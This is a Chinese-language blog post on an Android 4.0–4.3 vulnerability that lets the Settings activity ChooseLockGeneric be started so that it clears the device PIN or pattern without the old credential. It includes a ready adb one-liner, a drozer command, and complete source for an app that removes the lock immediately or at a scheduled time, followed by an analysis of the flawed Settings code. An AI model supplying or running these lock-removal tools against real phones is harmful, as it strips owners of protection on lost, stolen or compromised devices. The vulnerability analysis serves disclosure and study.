1. 程式人生 > >android繞過裝置鎖(device lock)

android繞過裝置鎖(device lock)

聽說這幾天爆了一個No root no recovery 的device lock的漏洞。

受傷程度。

4.0 - vulnerable 
4.1 - vulnerable
4.2 - vulnerable
4.3 - vulnerable
4.4 - not vulnerable

1、測試

測試一下:先設定device pin:

只需要一行程式碼: 

adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task

device pin真的消失了。

有人也把這個功能封裝到app裡面了。無需adb了。

package com.curesec.android;

import android.app.IntentService;
import android.content.ComponentName;
import android.content.Intent;
import android.os.IBinder;

public class RemoveLocks extends IntentService {
 
 public RemoveLocks() {
  super("RemoveLocks");
 }

 @Override
 protected void onHandleIntent(Intent intent) {
  removeLocks();
 }

 看懂這段就看懂了全部! 就是如何讓鎖消失的祕密!
 private void removeLocks() {
  Intent intent = new Intent();
  intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockGeneric"));
  intent.putExtra("confirm_credentials", false);
  intent.putExtra("lockscreen.password_type",0);    //這就是那個 The policy has no requirements for the password.


  intent.setFlags(intent.FLAG_ACTIVITY_NEW_TASK);
  startActivity(intent);
 }


 @Override
 public IBinder onBind(Intent intent) {
  return null;
 }

}

package com.curesec.android;

import java.util.Calendar;

import android.app.Activity;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
import android.view.View;
import android.widget.Button;
import android.widget.TimePicker;
import android.widget.Toast;

public class MainActivity extends Activity {

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);
    
  Button buttonExecuteNow = (Button) findViewById(R.id.button1);
  Button buttonExecuteLater = (Button) findViewById(R.id.button2);
  TimePicker tp = (TimePicker) findViewById(R.id.timePicker1);
  tp.setIs24HourView(true);
  tp.setCurrentHour(Calendar.getInstance().get(Calendar.HOUR_OF_DAY));
  
  buttonExecuteNow.setOnClickListener(new View.OnClickListener() {
   public void onClick(View view) {
    Context context = getBaseContext();
    Intent intent = new Intent(context, RemoveLocks.class);
    AlarmManager alarm = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
    PendingIntent pending = PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
    Calendar cal = Calendar.getInstance();
    alarm.set(AlarmManager.RTC_WAKEUP, cal.getTimeInMillis(), pending);

    Toast t = Toast.makeText(getBaseContext(), "Removing lock now!", 5);
    t.show();   
   }
  }
  );
  
  buttonExecuteLater.setOnClickListener(new View.OnClickListener() {
   public void onClick(View view) {
    Context context = getBaseContext();
    Intent intent = new Intent(context, RemoveLocks.class);
    AlarmManager alarm = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
    PendingIntent pending = PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
    Calendar cal = Calendar.getInstance();
    TimePicker tp = (TimePicker) findViewById(R.id.timePicker1);
    cal.set(Calendar.HOUR_OF_DAY, tp.getCurrentHour());
    cal.set(Calendar.MINUTE, tp.getCurrentMinute());
    cal.set(Calendar.SECOND, 0);
    alarm.set(AlarmManager.RTC_WAKEUP, cal.getTimeInMillis(), pending); 
   
    Toast t = Toast.makeText(getBaseContext(), "Removing lock at: "+tp.getCurrentHour()+":"+tp.getCurrentMinute(), 5);
    t.show();   
   }
  }
  );
  
  
 }

 @Override
 public boolean onCreateOptionsMenu(Menu menu) {
  getMenuInflater().inflate(R.menu.main, menu);
  return true;
 }

}

也可以使用drozer進行驗證。drozer(原名Mercury)您不會不知道吧!

#Disable all phone locks
run app.activity.start --component com.android.settings com.android.settings.ChooseLockGeneric --extra boolean confirm_credentials false --extra integer "lockscreen.password_type" 0

2、原因:

com.android.settings.ChooseLockGeneric class 用於讓使用者改變裝置鎖型別,比如是password, gesture and even face recognition ,當然修改前需要輸入原來的密碼(pin、圖案等)

Lets examine the following code extracted from the class:

            // Defaults to needing to confirm credentials
            final boolean confirmCredentials = getActivity().getIntent()
                .getBooleanExtra(CONFIRM_CREDENTIALS, true);
            mPasswordConfirmed = !confirmCredentials;

            if (savedInstanceState != null) {
                mPasswordConfirmed = savedInstanceState.getBoolean(PASSWORD_CONFIRMED);
                mWaitingForConfirmation = savedInstanceState.getBoolean(WAITING_FOR_CONFIRMATION);
                mFinishPending = savedInstanceState.getBoolean(FINISH_PENDING);
            }

            if (mPasswordConfirmed) {
                updatePreferencesOrFinish();
                     }
…...
  private void updatePreferencesOrFinish() {
            Intent intent = getActivity().getIntent();
            int quality = intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1);
            if (quality == -1) {
                // If caller didn't specify password quality, show UI and allow the user to choose.
                quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1);
                MutableBoolean allowBiometric = new MutableBoolean(false);
                quality = upgradeQuality(quality, allowBiometric);
                final PreferenceScreen prefScreen = getPreferenceScreen();
                if (prefScreen != null) {
                    prefScreen.removeAll();
                }
                addPreferencesFromResource(R.xml.security_settings_picker);
                disableUnusablePreferences(quality, allowBiometric);
            } else {
                updateUnlockMethodAndFinish(quality, false);
            }
        }

…...
 void updateUnlockMethodAndFinish(int quality, boolean disabled) {
            // Sanity check. We should never get here without confirming user's existing password.
            if (!mPasswordConfirmed) {
                throw new IllegalStateException("Tried to update password without confirming it");
            }

            final boolean isFallback = getActivity().getIntent()
                .getBooleanExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, false);

            quality = upgradeQuality(quality, null);

            if (quality >= DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) {
                int minLength = mDPM.getPasswordMinimumLength(null);
                if (minLength < MIN_PASSWORD_LENGTH) {
                    minLength = MIN_PASSWORD_LENGTH;
                }
                final int maxLength = mDPM.getPasswordMaximumLength(quality);
                Intent intent = new Intent().setClass(getActivity(), ChooseLockPassword.class);
                intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY, quality);
                intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY, minLength);
                intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY, maxLength);
                intent.putExtra(CONFIRM_CREDENTIALS, false);
                intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
                        isFallback);
                if (isFallback) {
                    startActivityForResult(intent, FALLBACK_REQUEST);
                    return;
                } else {
                    mFinishPending = true;
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
                    startActivity(intent);
                }
            } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) {
                Intent intent = new Intent(getActivity(), ChooseLockPattern.class);
                intent.putExtra("key_lock_method", "pattern");
                intent.putExtra(CONFIRM_CREDENTIALS, false);
                intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
                        isFallback);
                if (isFallback) {
                    startActivityForResult(intent, FALLBACK_REQUEST);
                    return;
                } else {
                    mFinishPending = true;
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
                    startActivity(intent);
                }
            else if (quality == DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) {
                Intent intent = getBiometricSensorIntent();
                mFinishPending = true;
                startActivity(intent);
            } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) {
                mChooseLockSettingsHelper.utils().clearLock(false);
                mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled);
                getActivity().setResult(Activity.RESULT_OK);
                finish();
            } else {
                finish();
            }
        }
This first piece of code allows the caller to actually control if the confirmation to change the lock mechanism is enable or not. 
第一部分程式碼允許呼叫者設定改變裝置鎖型別前是否需要輸入以前的裝置所認證。
We can control the flow to reach the updatePreferencesOrFinish() method and see that IF we provide a Password Type the flow continues to updateUnlockMethodAndFinish(). Above we can see that IF the password is of type PASSWORD_QUALITY_UNSPECIFIED the code that gets executed and effectively unblocks the device.

構造輸入即可繞過。

Set the password quality

The password quality can be one of the following constants:

The user must enter a password containing at least alphabetic (or other symbol) characters.
The user must enter a password containing at least both numeric and alphabetic (or other symbol) characters.
The user must enter a password containing at least numeric characters.
The policy requires some kind of password, but doesn't care what it is.
The policy has no requirements for the password.

3、危害:

   1、如果丟了手機,pin起碼有一定保護作用,如果使用者開啟了adb shell,那就可以被幹掉pin了。

名稱:  捕獲.PNG檢視次數: 0檔案大小:  33.6 KB

 3、被app執行該漏洞,清除了device pin!有啥後果呢? 沒想好!

接下來我們系統分析一下裝置鎖的機制,以及還有哪些其它方法清除裝置鎖。

看完電影對device lock進行深入系統分析。